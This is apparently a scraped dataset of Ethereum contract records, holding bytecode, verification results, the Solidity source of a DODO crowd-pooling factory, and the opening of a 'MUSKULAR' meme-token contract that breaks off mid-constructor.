fff168152602001908152602001600020546112ef90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109b282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610bcd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c61565b610be083826112d690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e2b5780601f10610e0057610100808354040283529160200191610e2b565b820191906000526020600020905b815481529060010190602001808311610e0e57829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ebe57600080fd5b610f0f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fa2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ef90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110e482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ef90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112e457fe5b818303905092915050565b6000818301905082811015151561130257fe5b809050929150505600a165627a7a72305820aa0f0829b6664b7b54503bd8a52640bb2822e37845a5e5900cd2378ec01072e10029
{"success": true, "error": null, "results": {}}
508
0x95E887aDF9EAa22cC1c6E3Cb7f07adC95b4b25a8
// File: contracts/lib/InitializableOwnable.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; pragma experimental ABIEncoderV2; /** * @title Ownable * @author DODO Breeder * * @notice Ownership related functions */ contract InitializableOwnable { address public _OWNER_; address public _NEW_OWNER_; bool internal _INITIALIZED_; // ============ Events ============ event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // ============ Modifiers ============ modifier notInitialized() { require(!_INITIALIZED_, "DODO_INITIALIZED"); _; } modifier onlyOwner() { require(msg.sender == _OWNER_, "NOT_OWNER"); _; } // ============ Functions ============ function initOwner(address newOwner) public notInitialized { _INITIALIZED_ = true; _OWNER_ = newOwner; } function transferOwnership(address newOwner) public onlyOwner { emit OwnershipTransferPrepared(_OWNER_, newOwner); _NEW_OWNER_ = newOwner; } function claimOwnership() public { require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM"); emit OwnershipTransferred(_OWNER_, _NEW_OWNER_); _OWNER_ = _NEW_OWNER_; _NEW_OWNER_ = address(0); } } // File: contracts/lib/CloneFactory.sol interface ICloneFactory { function clone(address prototype) external returns (address proxy); } // introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/ // minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167 contract CloneFactory is ICloneFactory { function clone(address prototype) external override returns (address proxy) { bytes20 targetBytes = bytes20(prototype); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) proxy := create(0, clone, 0x37) } return proxy; } } // File: contracts/CrowdPooling/intf/ICP.sol interface ICP { function init( address[] calldata addressList, uint256[] calldata timeLine, uint256[] calldata valueList, bool isOpenTWAP ) external; function bid(address to) external; function cancel(address assetTo, uint256 amount) external; function settle() external; function emergencySettle() external; function claimBase() external; function claimQuote() external; function claimLPToken() external; } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/DecimalMath.sol /** * @title DecimalMath * @author DODO Breeder * * @notice Functions for fixed point number with 18 decimals */ library DecimalMath { using SafeMath for uint256; uint256 internal constant ONE = 10**18; uint256 internal constant ONE2 = 10**36; function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d) / (10**18); } function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(d).divCeil(10**18); } function divFloor(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).div(d); } function divCeil(uint256 target, uint256 d) internal pure returns (uint256) { return target.mul(10**18).divCeil(d); } function reciprocalFloor(uint256 target) internal pure returns (uint256) { return uint256(10**36).div(target); } function reciprocalCeil(uint256 target) internal pure returns (uint256) { return uint256(10**36).divCeil(target); } } // File: contracts/Factory/CrowdPoolingFactory.sol /** * @title CrowdPoolingFacotry * @author DODO Breeder * * @notice Create And Register CP Pools */ contract CrowdPoolingFactory is InitializableOwnable { using SafeMath for uint256; // ============ Templates ============ address public immutable _CLONE_FACTORY_; address public immutable _DVM_FACTORY_; address public immutable _DEFAULT_MAINTAINER_; address public immutable _DEFAULT_MT_FEE_RATE_MODEL_; address public immutable _DEFAULT_PERMISSION_MANAGER_; address public _CP_TEMPLATE_; // ============ Settings ============= uint256 public _CAP_RATIO_ = 50; uint256 public _FREEZE_DURATION_ = 30 days; uint256 public _CALM_DURATION_ = 0; uint256 public _VEST_DURATION_ = 0; uint256 public _K_ = 0; uint256 public _CLIFF_RATE_ = 10**18; // ============ Registry ============ // base -> quote -> CP address list mapping(address => mapping(address => address[])) public _REGISTRY_; // creator -> CP address list mapping(address => address[]) public _USER_REGISTRY_; // ============ modifiers =========== modifier valueCheck( address cpAddress, address baseToken, uint256[] memory timeLine, uint256[] memory valueList) { require(timeLine[2] == _CALM_DURATION_, "CP_FACTORY : PHASE_CALM_DURATION_INVALID"); require(timeLine[4] == _VEST_DURATION_, "CP_FACTORY : VEST_DURATION_INVALID"); require(valueList[1] == _K_, "CP_FACTORY : K_INVALID"); require(valueList[3] == _CLIFF_RATE_, "CP_FACTORY : CLIFF_RATE_INVALID"); uint256 baseTokenBalance = IERC20(baseToken).balanceOf(cpAddress); require(valueList[0].mul(100) <= baseTokenBalance.mul(valueList[2]).div(10**18).mul(_CAP_RATIO_),"CP_FACTORY : QUOTE_CAP_INVALID"); require(timeLine[3]>= _FREEZE_DURATION_, "CP_FACTORY : FREEZE_DURATION_INVALID"); _; } // ============ Events ============ event NewCP( address baseToken, address quoteToken, address creator, address cp ); constructor( address cloneFactory, address cpTemplate, address dvmFactory, address defaultMaintainer, address defaultMtFeeRateModel, address defaultPermissionManager ) public { _CLONE_FACTORY_ = cloneFactory; _CP_TEMPLATE_ = cpTemplate; _DVM_FACTORY_ = dvmFactory; _DEFAULT_MAINTAINER_ = defaultMaintainer; _DEFAULT_MT_FEE_RATE_MODEL_ = defaultMtFeeRateModel; _DEFAULT_PERMISSION_MANAGER_ = defaultPermissionManager; } // ============ Functions ============ function createCrowdPooling() external returns (address newCrowdPooling) { newCrowdPooling = ICloneFactory(_CLONE_FACTORY_).clone(_CP_TEMPLATE_); } function initCrowdPooling( address cpAddress, address creator, address baseToken, address quoteToken, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external valueCheck(cpAddress,baseToken,timeLine,valueList) { { address[] memory addressList = new address[](7); addressList[0] = creator; addressList[1] = _DEFAULT_MAINTAINER_; addressList[2] = baseToken; addressList[3] = quoteToken; addressList[4] = _DEFAULT_PERMISSION_MANAGER_; addressList[5] = _DEFAULT_MT_FEE_RATE_MODEL_; addressList[6] = _DVM_FACTORY_; ICP(cpAddress).init( addressList, timeLine, valueList, isOpenTWAP ); } _REGISTRY_[baseToken][quoteToken].push(cpAddress); _USER_REGISTRY_[creator].push(cpAddress); emit NewCP(baseToken, quoteToken, creator, cpAddress); } // ============ View Functions ============ function getCrowdPooling(address baseToken, address quoteToken) external view returns (address[] memory pools) { return _REGISTRY_[baseToken][quoteToken]; } function getCrowdPoolingBidirection(address token0, address token1) external view returns (address[] memory baseToken0Pools, address[] memory baseToken1Pools) { return (_REGISTRY_[token0][token1], _REGISTRY_[token1][token0]); } function getCrowdPoolingByUser(address user) external view returns (address[] memory pools) { return _USER_REGISTRY_[user]; } // ============ Owner Functions ============ function updateCPTemplate(address _newCPTemplate) external onlyOwner { _CP_TEMPLATE_ = _newCPTemplate; } function setCapRatio(uint256 _newCapRatio) public onlyOwner { require(_newCapRatio > 0 && _newCapRatio <= 100, "CP_FACTORY : INVALID"); _CAP_RATIO_ = _newCapRatio; } function setFreezeDuration(uint256 _newFreeDuration) public onlyOwner { _FREEZE_DURATION_ = _newFreeDuration; } function setCalmDuration(uint256 _newCalmDuration) public onlyOwner { _CALM_DURATION_ = _newCalmDuration; } function setVestDuration(uint256 _newVestDuration) public onlyOwner { _VEST_DURATION_ = _newVestDuration; } function setK(uint256 _newK) public onlyOwner { require(_newK <= 10**18, "CP_FACTORY : INVALID"); _K_ = _newK; } function setCliffRate(uint256 _newCliffRate) public onlyOwner { require(_newCliffRate <= 10**18, "CP_FACTORY : INVALID"); _CLIFF_RATE_ = _newCliffRate; } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063792d793b1161010f578063c06fe4ab116100a2578063eb774d0511610071578063eb774d0514610391578063ec2fd46d14610399578063ecfc2db0146103a1578063f2fde38b146103b4576101e5565b8063c06fe4ab14610366578063c2c2757b14610379578063ce90ea7414610381578063e0f5d89e14610389576101e5565b8063a58888db116100de578063a58888db14610325578063a6569b3f14610338578063a820636b14610340578063bdeb0a9114610353576101e5565b8063792d793b1461030557806381ab4d0a1461030d5780638456db151461031557806389edcf141461031d576101e5565b80634e71e0c81161018757806367de8be91161015657806367de8be9146102cf57806369e4e417146102e25780636c5ccb9b146102ea5780636ca2aa95146102f2576101e5565b80634e71e0c8146102815780635568587a1461028957806364ddb0131461029c5780636556c7e5146102af576101e5565b8063294dafc0116101c3578063294dafc0146102305780633ff9b61e1461024557806341a1759c1461024d5780634c59de661461026e576101e5565b806307b8a636146101ea5780630d009297146101ff57806316048bc414610212575b600080fd5b6101fd6101f8366004611389565b6103c7565b005b6101fd61020d3660046111ea565b6103ff565b61021a61045f565b604051610227919061142b565b60405180910390f35b61023861046e565b6040516102279190611750565b610238610474565b61026061025b366004611222565b61047a565b60405161022792919061147d565b6101fd61027c366004611389565b610572565b6101fd6105c9565b6101fd610297366004611389565b610657565b6101fd6102aa3660046111ea565b610686565b6102c26102bd366004611222565b6106d2565b604051610227919061146a565b6101fd6102dd366004611389565b610756565b61021a6107ad565b61021a6107d1565b6101fd610300366004611389565b6107f5565b610238610824565b61021a61082a565b61021a61084e565b61021a61085d565b61021a61033336600461135e565b610907565b61021a61093c565b6102c261034e3660046111ea565b61094b565b61021a61036136600461131e565b6109c1565b6101fd610374366004611389565b610a03565b610238610a5f565b610238610a65565b61021a610a6b565b61021a610a8f565b610238610ab3565b6101fd6103af36600461125a565b610ab9565b6101fd6103c23660046111ea565b61105f565b6000546001600160a01b031633146103fa5760405162461bcd60e51b81526004016103f19061170a565b60405180910390fd5b600555565b600154600160a01b900460ff16156104295760405162461bcd60e51b81526004016103f1906116e0565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b60085481565b60065481565b6001600160a01b038083166000818152600960208181526040808420958716845294815284832091815284832093835292835290839020815484518185028101850190955280855260609485949091849183018282801561050457602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116104e6575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561056057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610542575b50505050509050915091509250929050565b6000546001600160a01b0316331461059c5760405162461bcd60e51b81526004016103f19061170a565b670de0b6b3a76400008111156105c45760405162461bcd60e51b81526004016103f1906114f7565b600855565b6001546001600160a01b031633146105f35760405162461bcd60e51b81526004016103f190611525565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146106815760405162461bcd60e51b81526004016103f19061170a565b600655565b6000546001600160a01b031633146106b05760405162461bcd60e51b81526004016103f19061170a565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808316600090815260096020908152604080832093851683529281529082902080548351818402810184019094528084526060939283018282801561074857602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161072a575b505050505090505b92915050565b6000546001600160a01b031633146107805760405162461bcd60e51b81526004016103f19061170a565b670de0b6b3a76400008111156107a85760405162461bcd60e51b81526004016103f1906114f7565b600755565b7f000000000000000000000000c9ed9b18e447e600238fe50e944b9062b664dea481565b7f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181565b6000546001600160a01b0316331461081f5760405162461bcd60e51b81526004016103f19061170a565b600455565b60035481565b7f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081565b6001546001600160a01b031681565b6002546040516340925bc760e11b81526000916001600160a01b037f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b88811692638124b78e926108b092169060040161142b565b602060405180830381600087803b1580156108ca57600080fd5b505af11580156108de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109029190611206565b905090565b600a602052816000526040600020818154811061092057fe5b6000918252602090912001546001600160a01b03169150829050565b6002546001600160a01b031681565b6001600160a01b0381166000908152600a60209081526040918290208054835181840281018401909452808452606093928301828280156109b557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610997575b50505050509050919050565b600960205282600052604060002060205281600052604060002081815481106109e657fe5b6000918252602090912001546001600160a01b0316925083915050565b6000546001600160a01b03163314610a2d5760405162461bcd60e51b81526004016103f19061170a565b600081118015610a3e575060648111155b610a5a5760405162461bcd60e51b81526004016103f1906114f7565b600355565b60055481565b60045481565b7f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281565b7f0000000000000000000000005e5a7b76462e4bdf83aa98795644281bdba80b8881565b60075481565b8685848460055482600281518110610acd57fe5b602002602001015114610af25760405162461bcd60e51b81526004016103f190611656565b60065482600481518110610b0257fe5b602002602001015114610b275760405162461bcd60e51b81526004016103f19061169e565b60075481600181518110610b3757fe5b602002602001015114610b5c5760405162461bcd60e51b81526004016103f1906115ef565b60085481600381518110610b6c57fe5b602002602001015114610b915760405162461bcd60e51b81526004016103f190611590565b6040516370a0823160e01b81526000906001600160a01b038516906370a0823190610bc090889060040161142b565b60206040518083038186803b158015610bd857600080fd5b505afa158015610bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1091906113a1565b9050610c63600354610c57670de0b6b3a7640000610c4b86600281518110610c3457fe5b6020026020010151866110e490919063ffffffff16565b9063ffffffff61112516565b9063ffffffff6110e416565b610c8b606484600081518110610c7557fe5b60200260200101516110e490919063ffffffff16565b1115610ca95760405162461bcd60e51b81526004016103f19061161f565b60045483600381518110610cb957fe5b60200260200101511015610cdf5760405162461bcd60e51b81526004016103f19061154c565b60408051600780825261010082019092526060916020820160e0803683370190505090508b81600081518110610d1157fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000095c4f5b83aa70810d4f142d58e5f7242bd891cb081600181518110610d5f57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508a81600281518110610d8d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508981600381518110610dbb57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000006b208e08dcf6bd51f50c5da09d15b2d8e5c46cf281600481518110610e0957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000005e84190a270333ace5b9202a3f4cebf11b81bb0181600581518110610e5757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c9ed9b18e447e600238fe50e944b9062b664dea481600681518110610ea557fe5b6001600160a01b0392831660209182029290920101526040516341dd3c3360e11b8152908e16906383ba786690610ee69084908d908d908d906004016114ab565b600060405180830381600087803b158015610f0057600080fd5b505af1158015610f14573d6000803e3d6000fd5b5050505050600960008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008a6001600160a01b03166001600160a01b031681526020019081526020016000208c9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550600a60008c6001600160a01b03166001600160a01b031681526020019081526020016000208c9080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0bd1e8ce555b4ec75d8b1c8113a8812659e0d94f0b4c67637dc049434604b45d8a8a8d8f604051611049949392919061143f565b60405180910390a1505050505050505050505050565b6000546001600160a01b031633146110895760405162461bcd60e51b81526004016103f19061170a565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000826110f357506000610750565b8282028284828161110057fe5b041461111e5760405162461bcd60e51b81526004016103f19061172d565b9392505050565b60008082116111465760405162461bcd60e51b81526004016103f1906115c7565b81838161114f57fe5b049392505050565b600082601f830112611167578081fd5b813567ffffffffffffffff8082111561117e578283fd5b60208083026040518282820101818110858211171561119b578687fd5b6040528481529450818501925085820181870183018810156111bc57600080fd5b600091505b848210156111df5780358452928201926001919091019082016111c1565b505050505092915050565b6000602082840312156111fb578081fd5b813561111e81611759565b600060208284031215611217578081fd5b815161111e81611759565b60008060408385031215611234578081fd5b823561123f81611759565b9150602083013561124f81611759565b809150509250929050565b600080600080600080600060e0888a031215611274578283fd5b873561127f81611759565b9650602088013561128f81611759565b9550604088013561129f81611759565b945060608801356112af81611759565b9350608088013567ffffffffffffffff808211156112cb578485fd5b6112d78b838c01611157565b945060a08a01359150808211156112ec578384fd5b506112f98a828b01611157565b92505060c0880135801515811461130e578182fd5b8091505092959891949750929550565b600080600060608486031215611332578283fd5b833561133d81611759565b9250602084013561134d81611759565b929592945050506040919091013590565b60008060408385031215611370578182fd5b823561137b81611759565b946020939093013593505050565b60006020828403121561139a578081fd5b5035919050565b6000602082840312156113b2578081fd5b5051919050565b6000815180845260208085019450808401835b838110156113f15781516001600160a01b0316875295820195908201906001016113cc565b509495945050505050565b6000815180845260208085019450808401835b838110156113f15781518752958201959082019060010161140f565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401529083166040830152909116606082015260800190565b60006020825261111e60208301846113b9565b60006040825261149060408301856113b9565b82810360208401526114a281856113b9565b95945050505050565b6000608082526114be60808301876113b9565b82810360208401526114d081876113fc565b83810360408501526114e281876113fc565b92505050821515606083015295945050505050565b60208082526014908201527310d417d19050d513d496480e881253959053125160621b604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526024908201527f43505f464143544f5259203a20465245455a455f4455524154494f4e5f494e566040820152631053125160e21b606082015260800190565b6020808252601f908201527f43505f464143544f5259203a20434c4946465f524154455f494e56414c494400604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526016908201527510d417d19050d513d496480e8812d7d253959053125160521b604082015260600190565b6020808252601e908201527f43505f464143544f5259203a2051554f54455f4341505f494e56414c49440000604082015260600190565b60208082526028908201527f43505f464143544f5259203a2050484153455f43414c4d5f4455524154494f4e60408201526717d253959053125160c21b606082015260800190565b60208082526022908201527f43505f464143544f5259203a20564553545f4455524154494f4e5f494e56414c604082015261125160f21b606082015260800190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b90815260200190565b6001600160a01b038116811461176e57600080fd5b5056fea264697066735822122033fc5c2ebd91c5b07cc8ced8b57edb4249143b7aa77171972badf84086fbeb7f64736f6c63430006090033
{"success": true, "error": null, "results": {}}
509
0x67d2873c4f78cf3b0405ac2c110469a176c71a1e
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ // “I hope that even my worst critics remain on Twitter, because that is what free speech means” // https://muskular.xyz // https://t.me/muskularinu // https://twitter.com/MuskularInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MUSKULAR is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MUSKULAR"; string private constant _symbol = "MUSKULAR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 5; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private _removeTxLimit = false; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = 